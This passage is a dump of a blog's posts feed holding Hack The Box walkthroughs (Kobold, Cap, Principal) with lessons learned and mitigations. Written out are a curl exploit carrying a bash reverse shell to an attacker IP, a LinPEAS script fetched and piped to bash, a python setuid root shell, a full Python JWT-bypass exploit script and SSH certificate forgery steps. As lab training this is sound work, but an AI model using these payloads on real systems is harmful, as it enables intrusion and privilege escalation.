24402] Found: mcp.kobold.htb [Status: 200, Size: 466] echo \u0026#34;10.129.6.231 bin.kobold.htb mcp.kobold.htb\u0026#34; \u0026gt;\u0026gt; /etc/hosts bin.kobold.htb → PrivateBin instance (text/code sharing). Runs in a Docker container on internal port 8080. mcp.kobold.htb → MCPJam Inspector version 1.4.2 — vulnerable to CVE-2026-23744. 3. Exploitation — CVE-2026-23744 (MCPJam Inspector RCE) # 3.1 The Vulnerability # The /api/mcp/connect endpoint of MCPJam Inspector 1.4.2 accepts a serverConfig with the command field, which is passed directly to child_process.spawn() without validation or authentication. We can specify bash as the command and a reverse shell as the argument.\n3.2 Exploit Execution # nc -lvnp 4444 curl -k https://mcp.kobold.htb/api/mcp/connect \\ --header \u0026#34;Content-Type: application/json\u0026#34; \\ --data \u0026#39;{ \u0026#34;serverConfig\u0026#34;: { \u0026#34;command\u0026#34;: \u0026#34;bash\u0026#34;, \u0026#34;args\u0026#34;: [\u0026#34;-c\u0026#34;, \u0026#34;bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.14.211/4444 0\u0026gt;\u0026amp;1\u0026#34;], \u0026#34;env\u0026#34;: {} }, \u0026#34;serverId\u0026#34;: \u0026#34;pwn\u0026#34; }\u0026#39; 💡 -k ignores the server\u0026rsquo;s self-signed TLS certificate.\nConnection received on 10.129.6.231 ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$ ben@kobold:~$ id uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator) ✅ Shell obtained as ben. The operator group is relevant — we\u0026rsquo;ll come back to it during escalation.\n3.3 TTY Stabilization # python3 -c \u0026#39;import pty; pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; # Ctrl+Z stty raw -echo; fg export TERM=xterm; export SHELL=bash stty rows 40 cols 150; reset 4. User Flag # ben@kobold:~$ cat user.txt 🔑 User flag obtained.\n5. Privilege Escalation — Docker Socket Escape via sg # 5.1 Docker Environment Enumeration # ben@kobold:~$ docker ps permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: connect: permission denied ben doesn\u0026rsquo;t belong to the docker group directly. But it belongs to the operator group — we try running in its context with sg:\nben@kobold:~$ sg docker -c \u0026#34;docker ps\u0026#34; CONTAINER ID IMAGE COMMAND STATUS 4c49dd7bb727 privatebin/nginx-fpm-alpine:2.0.2 \u0026#34;/etc/init.d/rc.local\u0026#34; Up 2 hours 127.0.0.1:8080-\u0026gt;8080/tcp bin 💡 sg \u0026lt;group\u0026gt; -c \u0026quot;\u0026lt;cmd\u0026gt;\u0026quot; executes a command with the specified group\u0026rsquo;s effective GID, without needing to log out/log in. It works because operator has permissions over /var/run/docker.sock, even though ben doesn\u0026rsquo;t see it in the primary group listing.\n5.2 Why Docker Socket Access Equals Root # The /var/run/docker.sock socket controls the Docker daemon, which runs as root. With access to that socket we can launch a container with the host root filesystem mounted (-v /:/mnt) and run it as UID 0 (-u 0). Once inside, chroot /mnt changes our root to the host filesystem, giving us full root access.\n5.3 Escape to Host # ben@kobold:~$ sg docker -c \u0026#34;docker run --rm -it -u 0 --entrypoint sh -v /:/mnt privatebin/nginx-fpm-alpine:2.0.2\u0026#34; Parameter Effect --rm Remove container on exit (cleanup) -it Interactive terminal -u 0 Run as UID 0 (root) inside the container --entrypoint sh Override entrypoint to get a shell directly -v /:/mnt Mount the host root filesystem at /mnt inside the container /var/www # chroot /mnt sh # id uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),27(sudo) ✅ Root obtained. chroot /mnt makes all commands operate on the real host system with root privileges.\n6. Root Flag # # cat /root/root.txt 🏁 Root flag obtained.\n7. Summary and Lessons Learned # Compromise path:\nRecon → Ports 22, 80, 443, 3552. Virtual host kobold.htb. Gobuster vhost → Subdomains bin.kobold.htb (PrivateBin) and mcp.kobold.htb (MCPJam Inspector 1.4.2). CVE-2026-23744 → /api/mcp/connect without validation → bash as command → reverse shell as ben. id → ben belongs to the operator group. sg docker → Docker socket access through operator\u0026rsquo;s GID. docker run -u 0 -v /:/mnt → root container with host mounted. chroot /mnt → host filesystem as root. What I learned from this machine:\nchild_process.spawn() with unvalidated input is direct RCE. MCPJam passed the command field from the JSON request directly to the process spawner with no whitelist or authentication. In Node.js applications that need to execute subprocesses, the only safe approach is to build the argument list statically — never interpolating user input — and apply authentication before any endpoint that interacts with the system.\nSecondary group membership may not be obvious in id output, but sg materializes it. ben didn\u0026rsquo;t appear in the docker group, but operator had permissions over the socket. Enumerating /var/run/docker.sock and cross-referencing with user groups (including indirect groups) is a step worth automating in any post-exploitation enumeration script.\nDocker socket access equals host root, without exception. It doesn\u0026rsquo;t matter whether the user lacks sudo, is inside a container, or system permissions appear restricted — if they can talk to /var/run/docker.sock, they have root. This machine illustrates it cleanly: the \u0026ldquo;restriction\u0026rdquo; that ben wasn\u0026rsquo;t in the docker group was irrelevant because operator opened the same door from the side.\nsg is a legitimate system tool that can be used as an escalation vector. Many post-exploitation guides don\u0026rsquo;t mention it, but in any system where a user belongs to a secondary group with elevated permissions over a critical resource, sg materializes those permissions in a command without modifying the current session. Worth keeping in mind alongside newgrp and similar tools.\nMitigations:\nVector Mitigation CVE-2026-23744 — MCPJam RCE on /api/mcp/connect Update MCPJam Inspector; don\u0026rsquo;t expose the inspector without authentication; validate and whitelist allowed commands Docker socket accessible via operator group Never grant /var/run/docker.sock access to unprivileged users; use rootless Docker or Podman where possible sg docker bypasses group restriction Audit which groups have permissions over the socket; restrict with chmod/chown; consider filesystem ACLs for finer control docker run -v /:/mnt allows reading/writing the full host Use --read-only and seccomp/AppArmor profiles; never mount the host root filesystem in production containers ","date":"1 June 2026","externalUrl":null,"permalink":"/posts/htb-kobold/","section":"Posts","summary":" Walkthrough of Kobold on Hack The Box. Easy difficulty machine running Linux. Exploitation goes through CVE-2026-23744, an unauthenticated RCE in MCPJam Inspector 1.4.2: the /api/mcp/connect endpoint passes the command field directly to child_process.spawn() without any validation. Privilege escalation to root exploits the fact that user ben belongs to the operator group, which has permissions over the Docker socket — accessible via sg docker without needing to log out. With access to the Docker daemon, we mount the host filesystem and get root with chroot. HackTheBox Linux Easy ","title":"HTB Walkthrough: Kobold","type":"posts"},{"content":"","date":"1 June 2026","externalUrl":null,"permalink":"/tags/kobold/","section":"Tags","summary":"","title":"Kobold","type":"tags"},{"content":"","date":"1 June 2026","externalUrl":null,"permalink":"/tags/mcp/","section":"Tags","summary":"","title":"MCP","type":"tags"},{"content":"","date":"1 June 2026","externalUrl":null,"permalink":"/tags/mcpjam/","section":"Tags","summary":"","title":"MCPJam","type":"tags"},{"content":"","date":"1 June 2026","externalUrl":null,"permalink":"/tags/sg/","section":"Tags","summary":"","title":"Sg","type":"tags"},{"content":"","date":"14 April 2026","externalUrl":null,"permalink":"/tags/cap/","section":"Tags","summary":"","title":"Cap","type":"tags"},{"content":"","date":"14 April 2026","externalUrl":null,"permalink":"/tags/cap_setuid/","section":"Tags","summary":"","title":"Cap_setuid","type":"tags"},{"content":"","date":"14 April 2026","externalUrl":null,"permalink":"/tags/certificateforge/","section":"Tags","summary":"","title":"CertificateForge","type":"tags"},{"content":"","date":"14 April 2026","externalUrl":null,"permalink":"/tags/cve-2026-29000/","section":"Tags","summary":"","title":"CVE-2026-29000","type":"tags"},{"content":" Walkthrough of Cap on Hack The Box. Easy difficulty machine running Linux (Ubuntu 20.04 LTS). We exploit an IDOR on a network capture download endpoint to obtain cleartext FTP credentials, gain SSH access by reusing the password, and escalate to root by abusing the cap_setuid capability assigned to the Python 3.8 binary. HackTheBox Linux Easy 🗺️ Machine Info # Field Detail Name Cap OS Linux (Ubuntu 20.04 LTS) Difficulty Easy IP 10.129.19.177 Techniques IDOR · FTP Cleartext · Credential Reuse · Linux cap_setuid 1. Reconnaissance # 1.1 Port Scan # nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.19.177 PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http Version scan on open ports:\nnmap -sC -sV -p21,22,80 10.129.19.177 PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 80/tcp open http Gunicorn |_http-title: Security Dashboard Open ports:\n21 → vsftpd 3.0.3 (anonymous access disabled — credentials required) 22 → OpenSSH 8.2p1 (available for later access) 80 → Python web application (Gunicorn) with a \u0026ldquo;Security Dashboard\u0026rdquo; 💡 Key detail: Gunicorn is a Python WSGI server — the web app is written in Python. Combined with FTP having no anonymous access, the initial vector likely goes through the web.\n1.2 Web Enumeration — Security Dashboard # The application exposes a security dashboard with several sections:\nDashboard — Real-time security event metrics. Security Snapshot — Generates and downloads a 5-second PCAP capture of the server\u0026rsquo;s network traffic. IP Config — Shows the server\u0026rsquo;s ifconfig output. Network Status — Network status. The most interesting section is Security Snapshot. When clicking the download button, the generated URL is:\nhttp://10.129.19.177/data/1 The number at the end is a sequential numeric ID identifying the capture. The current capture (ID=1) shows all zeros — it was generated on the spot and contains no prior traffic.\nWe try ID=0, the oldest capture on the server:\nhttp://10.129.19.177/data/0 The response shows real data: 72 packets captured, 69 TCP. The server serves the capture without verifying it belongs to our user.\n💡 IDOR (Insecure Direct Object Reference): The application uses predictable IDs and doesn\u0026rsquo;t validate that the requested resource belongs to the authenticated user. Simply changing the number in the URL gives us access to other users\u0026rsquo; or system captures.\n2. Exploitation — IDOR and PCAP Analysis # 2.1 Vulnerability Analysis # The /data/\u0026lt;id\u0026gt; endpoint delivers the corresponding PCAP file by ID without any authorization check. Since IDs are sequential integers starting at 0, we can iterate from zero to find captures with real traffic generated before our session.\nNormal flow: user generates capture → receives /data/\u0026lt;their_id\u0026gt; Malicious flow: attacker requests /data/0 → receives someone else\u0026#39;s capture with real traffic 2.2 Credential Extraction with Wireshark # We download the PCAP from ID=0 and open it in Wireshark. We filter by FTP protocol:\nWireshark filter: ftp FTP transmits credentials in cleartext with no encryption. In the captured traffic we see the complete authentication exchange:\n→ Request: USER nathan ← Response: 331 Please specify password → Request: PASS Buck3tH4TF0RM3! ← Response: 230 Login successful 🔑 Credentials obtained: nathan:Buck3tH4TF0RM3!\n3. User Flag # The FTP credentials are a direct candidate for SSH via password reuse — using the same password across multiple services on the same system is a very common mistake:\nssh nathan@10.129.19.177 # Password: Buck3tH4TF0RM3! Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64) nathan@cap:~$ nathan@cap:~$ cat user.txt 🔑 User flag obtained.\n4. Privilege Escalation — Linux Capability cap_setuid # 4.1 System Enumeration # nathan@cap:~$ sudo -l Sorry, user nathan may not run sudo on cap. nathan@cap:~$ id uid=1001(nathan) gid=1001(nathan) groups=1001(nathan) No sudo. We run LinPEAS to look for escalation vectors:\n# On the attacking machine python3 -m http.server 8000 # On the victim machine curl -L http://10.10.15.237/linpeas.sh | bash LinPEAS detects something critical in the Linux Capabilities section:\nFiles with capabilities: /usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip 4.2 Escalation Vector Analysis # Linux Capabilities are a kernel mechanism that breaks down root privileges into smaller, more granular units. Instead of granting full root access, only the specific capability a process needs can be assigned. The problem arises when that capability is too powerful.\nThe cap_setuid capability allows the process to change its effective UID to any value, including 0 (root). Since it\u0026rsquo;s assigned to the /usr/bin/python3.8 binary, any Python script executed with that interpreter can call os.setuid(0) and become root.\nWe can find all binaries with capabilities on the system with:\ngetcap -r / 2\u0026gt;/dev/null 💡 Difference from SUID bit: A binary with SUID always executes with the owner\u0026rsquo;s UID. Capabilities are more granular, but cap_setuid is equally dangerous — in practice, both allow escalation to root if the binary is a script interpreter like Python.\n4.3 Exploitation # The exploit reduces to two lines of Python: change the effective UID to 0 and open a shell in that context.\nnathan@cap:~$ python3.8 -c \u0026#34;import os; os.setuid(0); os.system(\u0026#39;/bin/bash\u0026#39;)\u0026#34; root@cap:~# id uid=0(root) gid=1000(nathan) groups=1000(nathan) ✅ Root shell obtained via cap_setuid on Python 3.8.\n5. Root Flag # root@cap:~# cat /root/root.txt 🏁 Root flag obtained.\n6. Summary and Lessons Learned # Compromise path:\nRecon → Port 80 with Security Dashboard (Gunicorn/Python); FTP with no anonymous access. IDOR → Endpoint /data/0 serves someone else\u0026rsquo;s PCAP without checking authorization. PCAP analysis → Wireshark filters FTP traffic → credentials nathan:Buck3tH4TF0RM3! in cleartext. Foothold → SSH with reused credentials → user.txt. PrivEsc → LinPEAS detects cap_setuid on /usr/bin/python3.8 → os.setuid(0) → shell as root → root.txt. What I learned from this machine:\nIDOR is a logic vulnerability, not a technology one. It requires no complex exploit — just changing a number in the URL. The defense isn\u0026rsquo;t complex either: verify server-side that the requested resource belongs to the authenticated user before serving it. What makes IDOR dangerous is how invisible it is without an active code review.\nFTP transmits credentials in cleartext — always. There\u0026rsquo;s no encrypted mode in standard FTP. Any network traffic capture containing an FTP session will have the credentials directly readable. The alternative is SFTP (SSH File Transfer Protocol) or FTPS (FTP over TLS), which encrypt the full communication.\nPassword reuse across services on the same system is a risk multiplier. A compromised FTP credential became SSH access. Basic policy: each service must have independent credentials.\ncap_setuid on a script interpreter is equivalent to root. Unlike a compiled binary where the control flow is fixed, an interpreter like Python executes arbitrary code. Assigning cap_setuid to Python effectively gives root to any user who can execute Python scripts — capabilities are only safe on binaries with very restricted functionality.\nLinPEAS and capability enumeration are mandatory steps in Linux PrivEsc. The usual checks (sudo, SUID, cron) don\u0026rsquo;t cover capabilities. getcap -r / 2\u0026gt;/dev/null should always be part of the post-access enumeration checklist.\nMitigations:\nVector Mitigation IDOR on /data/\u0026lt;id\u0026gt; Verify server-side that the requested ID belongs to the authenticated user before serving the file FTP in cleartext Replace FTP with SFTP or FTPS; never transmit credentials unencrypted Password reuse Unique credentials policy per service; use a password manager cap_setuid on Python 3.8 Remove the capability: setcap -r /usr/bin/python3.8; audit regularly with getcap -r / ","date":"14 April 2026","externalUrl":null,"permalink":"/posts/htb-cap/","section":"Posts","summary":" Walkthrough of Cap on Hack The Box. Easy difficulty machine running Linux (Ubuntu 20.04 LTS). We exploit an IDOR on a network capture download endpoint to obtain cleartext FTP credentials, gain SSH access by reusing the password, and escalate to root by abusing the cap_setuid capability assigned to the Python 3.8 binary. HackTheBox Linux Easy ","title":"HTB Walkthrough: Cap","type":"posts"},{"content":" Step-by-step walkthrough of Principal on Hack The Box. Medium difficulty machine running Linux (Ubuntu 24.04 LTS). We chain a JWT authentication bypass via CVE-2026-29000, credential extraction from an admin dashboard, and privilege escalation to root by forging an SSH certificate with the server\u0026rsquo;s private CA key. HackTheBox Linux Medium 🗺️ Machine Info # Field Detail Name Principal OS Linux (Ubuntu 24.04 LTS) Difficulty Medium IP 10.129.244.220 Techniques CVE-2026-29000 · PlainJWT Bypass · SSH Certificate Forgery · Credential Exposure 1. Reconnaissance # 1.1 Port Scan # nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.244.220 PORT STATE SERVICE 22/tcp open ssh 8080/tcp open http-proxy Only two ports. We run a version scan on them:\nnmap -sC -sV -p22,8080 10.129.244.220 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 8080/tcp open http-proxy Jetty | http-title: Principal Internal Platform - Login |_Requested resource was /login | X-Powered-By: pac4j-jwt/6.0.3 Open ports:\n22 → OpenSSH 9.6p1 (no relevant CVEs — final destination, not entry point) 8080 → Jetty with pac4j-jwt/6.0.3 💡 Key detail: The X-Powered-By: pac4j-jwt/6.0.3 header is information disclosure — it reveals the authentication library and its exact version, letting us look up CVEs directly. Always check HTTP response headers during enumeration.\n1.2 Web Enumeration # Navigating to http://10.129.244.220:8080 we find a corporate login form. Without credentials, we analyze what\u0026rsquo;s publicly available.\nClient-side JS files are an important intelligence source: developers frequently leave endpoints, data structures, and comments that describe the internal architecture. The /static/js/app.js file reveals everything we need:\nconst JWKS_ENDPOINT = \u0026#39;/api/auth/jwks\u0026#39;; // RSA public key — public access const AUTH_ENDPOINT = \u0026#39;/api/auth/login\u0026#39;; const DASHBOARD_ENDPOINT = \u0026#39;/api/dashboard\u0026#39;; const SETTINGS_ENDPOINT = \u0026#39;/api/settings\u0026#39;; const ROLES = { ADMIN: \u0026#39;ROLE_ADMIN\u0026#39;, MANAGER: \u0026#39;ROLE_MANAGER\u0026#39;, USER: \u0026#39;ROLE_USER\u0026#39; }; // Token handling: // - Tokens are JWE-encrypted using RSA-OAEP-256 + A128GCM // - Public key available at /api/auth/jwks for token verification // - Inner JWT is signed with RS256 // // JWT claims schema: // sub - username // role - one of: ROLE_ADMIN, ROLE_MANAGER, ROLE_USER // iss - \u0026#34;principal-platform\u0026#34; 1.3 Authentication Architecture # The system uses JWE (JSON Web Encryption), which is an encrypted JWT. The structure is:\nJWE (outer layer — RSA-OAEP-256 encryption with server\u0026#39;s public key) └── JWT signed with RS256 (inner layer — the actual claims: user, role, etc.) This implies two separate operations: first the server decrypts the JWE, then verifies the inner JWT\u0026rsquo;s signature. This separation is exactly what the CVE exploits.\nThe RSA public key is available without authentication at /api/auth/jwks:\ncurl http://10.129.244.220:8080/api/auth/jwks { \u0026#34;keys\u0026#34;: [{ \u0026#34;kty\u0026#34;: \u0026#34;RSA\u0026#34;, \u0026#34;use\u0026#34;: \u0026#34;enc\u0026#34;, \u0026#34;kid\u0026#34;: \u0026#34;enc-key-1\u0026#34;, \u0026#34;n\u0026#34;: \u0026#34;0vx7ago...\u0026#34;, \u0026#34;e\u0026#34;: \u0026#34;AQAB\u0026#34; }] } This key lets us encrypt the JWE layer ourselves — the server can decrypt it (it has the private key), but the JWT we place inside is under our control.\n💡 Conclusions: We have the RSA public key to encrypt tokens, we know the exact claims structure, and we know the role field controls access. If we can get the server to accept a token with ROLE_ADMIN without verifying the inner JWT\u0026rsquo;s signature, we have full access.\n2. Exploitation — CVE-2026-29000 # 2.1 Vulnerability Analysis # pac4j-jwt 6.0.3 is vulnerable to this CVE (affects versions before 4.5.9, 5.7.9, and 6.3.3). The flaw is in how pac4j processes JWE tokens when the inner JWT is a PlainJWT (\u0026quot;alg\u0026quot;: \u0026quot;none\u0026quot; — unsigned).\nHow the attack works:\nUnder normal conditions, pac4j decrypts the JWE and then verifies the inner JWT\u0026rsquo;s signature. The bug occurs when the inner JWT has alg: none: the toSignedJWT() function returns null instead of throwing an exception, and the calling code doesn\u0026rsquo;t check that null before continuing. The result is that pac4j extracts claims from the PlainJWT without having verified any signature, accepting whatever role the attacker placed there.\nNormal flow: valid JWE → RS256-signed JWT → verify signature → extract claims Malicious flow: valid JWE → PlainJWT (alg:none) → toSignedJWT() = null → claims accepted without verification The key to the bypass: we encrypt the JWE layer with the server\u0026rsquo;s real public key, so the outer decryption is completely valid. The problem is in the inside.\n2.2 Exploit Script # Exploit available at: CVE-2026-29000 PoC\npip install jwcrypto requests #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34; CVE-2026-29000 — pac4j-jwt PlainJWT Authentication Bypass Usage: python3 cve.py http://10.129.244.220:8080 \u0026#34;\u0026#34;\u0026#34; import json, time, base64, requests, sys from jwcrypto import jwk, jwe TARGET_URL = sys.argv[1].rstrip(\u0026#39;/\u0026#39;) JWKS_ENDPOINT = f\u0026#34;{TARGET_URL}/api/auth/jwks\u0026#34; PROTECTED_ENDPOINT = f\u0026#34;{TARGET_URL}/api/dashboard\u0026#34; def b64_encode(data): # URL-safe Base64 without padding — format required by the JWT standard return base64.urlsafe_b64encode(data).rstrip(b\u0026#39;=\u0026#39;).decode() # 1. Fetch the RSA public key from the public endpoint print(f\u0026#34;[*] Fetching public key from {JWKS_ENDPOINT}...\u0026#34;) r = requests.get(JWKS_ENDPOINT, timeout=10) key_data = r.json()[\u0026#39;keys\u0026#39;][0] public_key = jwk.JWK(**key_data) print(f\u0026#34;[+] RSA key \u0026#39;{key_data.get(\u0026#39;kid\u0026#39;)}\u0026#39; loaded.\u0026#34;) # 2. Malicious claims with ROLE_ADMIN now = int(time.time()) claims = { \u0026#34;sub\u0026#34;: \u0026#34;admin#override\u0026#34;, \u0026#34;role\u0026#34;: \u0026#34;ROLE_ADMIN\u0026#34;, # The claim that gives us full access \u0026#34;iss\u0026#34;: \u0026#34;principal-platform\u0026#34;, # Must match what the server expects \u0026#34;iat\u0026#34;: now, \u0026#34;exp\u0026#34;: now + 3600 } # 3. Build the PlainJWT (alg: none — no signature) # Format: base64(header).base64(payload). # The trailing empty dot indicates absence of signature header_plain = b64_encode(json.dumps({\u0026#34;alg\u0026#34;: \u0026#34;none\u0026#34;}).encode()) payload_plain = b64_encode(json.dumps(claims).encode()) plain_jwt_string = f\u0026#34;{header_plain}.{payload_plain}.\u0026#34; # 4. Wrap the PlainJWT in a JWE encrypted with the server\u0026#39;s real public key # The outer layer is cryptographically valid — the server can decrypt it. # But the inner JWT has no signature: here\u0026#39;s the bypass. jwe_header = { \u0026#34;alg\u0026#34;: \u0026#34;RSA-OAEP-256\u0026#34;, \u0026#34;enc\u0026#34;: \u0026#34;A256GCM\u0026#34;, \u0026#34;cty\u0026#34;: \u0026#34;JWT\u0026#34;, # Tells the server the decrypted content is a JWT \u0026#34;kid\u0026#34;: key_data.get(\u0026#39;kid\u0026#39;) } jwe_obj = jwe.JWE( plain_jwt_string.encode(), recipient=public_key, protected=json.dumps(jwe_header) ) malicious_token = jwe_obj.serialize(compact=True) print(\u0026#34;[+] Malicious JWE token generated.\u0026#34;) # 5. Send the token to the protected endpoint headers = {\u0026#34;Authorization\u0026#34;: f\u0026#34;Bearer {malicious_token}\u0026#34;} resp = requests.get(PROTECTED_ENDPOINT, headers=headers) print(f\u0026#34;\\n[!] TOKEN FOR THE BROWSER:\\n{malicious_token}\\n\u0026#34;) print(f\u0026#34;Status: {resp.status_code}\u0026#34;) if resp.status_code == 200: print(\u0026#34;[!!!] BYPASS SUCCESSFUL — Access as ADMIN\u0026#34;) print(resp.text) 2.3 Execution # python3 cve.py http://10.129.244.220:8080 [*] Fetching public key from http://10.129.244.220:8080/api/auth/jwks... [+] RSA key \u0026#39;enc-key-1\u0026#39; loaded. [+] Malicious JWE token generated. Status: 200 [!!!] BYPASS SUCCESSFUL — Access as ADMIN The dashboard response includes the system activity log. Among the entries we find:\n{ \u0026#34;action\u0026#34;: \u0026#34;CERT_ISSUED\u0026#34;, \u0026#34;username\u0026#34;: \u0026#34;svc-deploy\u0026#34;, \u0026#34;details\u0026#34;: \u0026#34;SSH certificate issued for deploy-1735400000\u0026#34;, \u0026#34;timestamp\u0026#34;: \u0026#34;2026-03-05T21:43:40.443553\u0026#34; } The svc-deploy user manages SSH authentication via certificates — a direct candidate for initial access.\n2.4 Browser Dashboard Access # To explore the interface as admin, we inject the token into the browser\u0026rsquo;s Session Storage (where the SPA stores the session token):\nOpen http://10.129.244.220:8080/login → F12 → Application → Session Storage Create entry: Key auth_token / Value (paste the token from the script) Navigate to http://10.129.244.220:8080/dashboard In the Settings section we find system credentials in cleartext:\nencryptionKey: D3pl0y_$$H_Now42! sshCertAuth: enabled sshCaPath: /opt/principal/ssh/ 🔑 Matching the svc-deploy user from the log with the Settings password gives us direct SSH credentials.\n3. User Flag # ssh svc-deploy@10.129.244.220 # Password: D3pl0y_$$H_Now42! Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-101-generic x86_64) svc-deploy@principal:~$ svc-deploy@principal:~$ cat user.txt 🔑 User flag obtained.\n4. Privilege Escalation # 4.1 System Enumeration # svc-deploy@principal:~$ sudo -l Sorry, user svc-deploy may not run sudo on principal. svc-deploy@principal:~$ id uid=1001(svc-deploy) gid=1001(svc-deploy) groups=1001(svc-deploy),1002(deployers) No sudo, but the user belongs to the deployers group. We look for resources accessible to that group:\nsvc-deploy@principal:~$ find / -group deployers 2\u0026gt;/dev/null /etc/ssh/sshd_config.d/60-principal.conf /opt/principal/ssh /opt/principal/ssh/README.txt /opt/principal/ssh/ca ← SSH CA private key The /opt/principal/ssh/ca file is an SSH Certificate Authority private key readable by our group. This is critical.\n4.2 SSH Configuration Analysis # SSH can authenticate users via certificates signed by a CA. The server defines in its configuration which CA to trust, and accepts connections from any user whose certificate was signed by it. Whoever controls the CA\u0026rsquo;s private key can sign certificates for any user on the system, including root.\nsvc-deploy@principal:~$ cat /etc/ssh/sshd_config.d/60-principal.conf PubkeyAuthentication yes PasswordAuthentication yes PermitRootLogin prohibit-password TrustedUserCAKeys /opt/principal/ssh/ca.pub TrustedUserCAKeys /opt/principal/ssh/ca.pub → The server trusts any certificate signed by this CA. We have read access to the corresponding private key. PermitRootLogin prohibit-password → Root can\u0026rsquo;t authenticate with a password, but can with a certificate. The critical misconfiguration is the absence of AuthorizedPrincipalsFile. Without it, the only access control is that the certificate\u0026rsquo;s principal (the field declaring \u0026ldquo;this certificate is for user X\u0026rdquo;) matches the user being connected to. There\u0026rsquo;s no list restricting which principals are valid for each account — if we sign a certificate with root as principal, SSH accepts it.\n💡 Same pattern as the CVE: the system verifies the cryptographic envelope (the certificate is signed by the trusted CA), but doesn\u0026rsquo;t control the inner identity assertion (the certificate\u0026rsquo;s principal). In both attack vectors on this machine, verifying the outer layer creates a false sense of security.\n4.3 SSH Certificate Forgery # Step 1 — Generate a temporary key pair:\nsvc-deploy@principal:/tmp$ ssh-keygen -t ed25519 -f /tmp/paw -N \u0026#34;\u0026#34; We generate the keys in /tmp with an empty passphrase to avoid interaction.\nStep 2 — Sign the public key with the CA private key, specifying root as principal:\nsvc-deploy@principal:/tmp$ ssh-keygen -s /opt/principal/ssh/ca \\ -I \u0026#34;pwa-root\u0026#34; \\ -n root \\ -V +1h \\ /tmp/paw.pub -s /opt/principal/ssh/ca → The CA\u0026rsquo;s private key. Without this file, escalation would be impossible. -I \u0026quot;pwa-root\u0026quot; → Certificate identifier (arbitrary, appears in logs). -n root → The certificate\u0026rsquo;s principal. Declares this certificate authorizes access to root. Without AuthorizedPrincipalsFile, SSH accepts this claim without additional restrictions. -V +1h → 1 hour validity. Signed user key /tmp/paw-cert.pub: id \u0026#34;pwa-root\u0026#34; serial 0 for root valid from 2026-04-14T09:51:00 to 2026-04-14T10:51:59 Step 3 — Verify the certificate:\nsvc-deploy@principal:/tmp$ ssh-keygen -L -f /tmp/paw-cert.pub /tmp/paw-cert.pub: Type: ssh-ed25519-cert-v01@openssh.com user certificate Signing CA: RSA SHA256:bExSfFTUaopPXEM+lTW6QM0uXnsy7CICk0+p0UKK3ps Key ID: \u0026#34;pwa-root\u0026#34; Valid: from 2026-04-14T09:51:00 to 2026-04-14T10:51:59 Principals: root Extensions: permit-pty permit-port-forwarding ... The certificate is signed by the correct CA and declares root as principal.\nStep 4 — Connect as root:\nsvc-deploy@principal:/tmp$ ssh -i /tmp/paw root@localhost SSH automatically detects the certificate /tmp/paw-cert.pub. The server verifies it\u0026rsquo;s signed by the trusted CA, that the principal root matches the requested user, and opens the session.\nWelcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-101-generic x86_64) root@principal:~# ✅ Root obtained via forged SSH certificate.\n5. Root Flag # root@principal:~# cat /root/root.txt 🏁 Root flag obtained.\n6. Summary and Lessons Learned # Compromise path:\nRecon → X-Powered-By: pac4j-jwt/6.0.3 — direct information disclosure to CVE. Web enumeration → Frontend JS reveals JWE/JWT architecture, public JWKS endpoint, and claims structure. CVE-2026-29000 → PlainJWT (alg:none) inside a valid JWE bypasses signature verification → ROLE_ADMIN. Dashboard → Log reveals svc-deploy user; Settings exposes password in cleartext. Foothold → SSH with direct credentials → user.txt. PrivEsc → deployers group has read access to the SSH CA private key + TrustedUserCAKeys without AuthorizedPrincipalsFile → forged certificate with root as principal → root.txt. What I learned from this machine:\nHTTP headers reveal a lot. X-Powered-By with exact version is the starting point for the entire chain. Always check response headers during enumeration.\nFrontend JS is not decoration. The developer\u0026rsquo;s comments described the entire authentication architecture. Everything served to the browser can be read by the attacker.\nCVE-2026-29000: the \u0026ldquo;fail securely\u0026rdquo; principle. The bug isn\u0026rsquo;t cryptographic — RSA-OAEP and AES-GCM are secure. The flaw is that toSignedJWT() returns null silently on a PlainJWT instead of throwing an exception. A secure system must deny access on any anomalous condition, never grant it by default.\nTrustedUserCAKeys without AuthorizedPrincipalsFile is a time bomb. The first directive defines who can sign trusted certificates; the second limits which identities are valid for each user. Without the second, anyone with the CA private key can access any user on the system.\nPermitRootLogin prohibit-password doesn\u0026rsquo;t protect against certificates. It only blocks password brute-force. The correct protection is PermitRootLogin no + audited sudo.\nSecrets must never be in the UI. The password visible in the dashboard Settings is the mistake that turns an auth bypass into full system access. Secrets should live in a vault (HashiCorp Vault, AWS Secrets Manager), never in the application database.\nMitigations:\nVector Mitigation Information disclosure (X-Powered-By) Remove or generalize headers that reveal technology and version CVE-2026-29000 (PlainJWT bypass) Update pac4j-jwt to ≥ 6.3.3; explicitly reject alg: none Unrestricted JWKS Protect /api/auth/jwks by IP or with authentication Cleartext credentials in the UI Use a secrets manager; never expose values in the interface CA private key readable by service group Store in HSM or vault; no read permissions for service accounts TrustedUserCAKeys without AuthorizedPrincipalsFile Configure AuthorizedPrincipalsFile limiting principals per user; no valid principals for root PermitRootLogin prohibit-password Change to PermitRootLogin no + root access management via audited sudo ","date":"14 April 2026","externalUrl":null,"permalink":"/posts/htb-principal/","section":"Posts","summary":" Step-by-step walkthrough of Principal on Hack The Box. Medium difficulty machine running Linux (Ubuntu 24.04 LTS). We chain a JWT authentication bypass via CVE-2026-29000, credential extraction from an admin dashboard, and privilege escalation to root by forging an SSH certificate with the server’s private CA key. HackTheBox Linux Medium ","title":"HTB Walkthrough: Principal","type":"posts"},{"content":"","date":"14 April 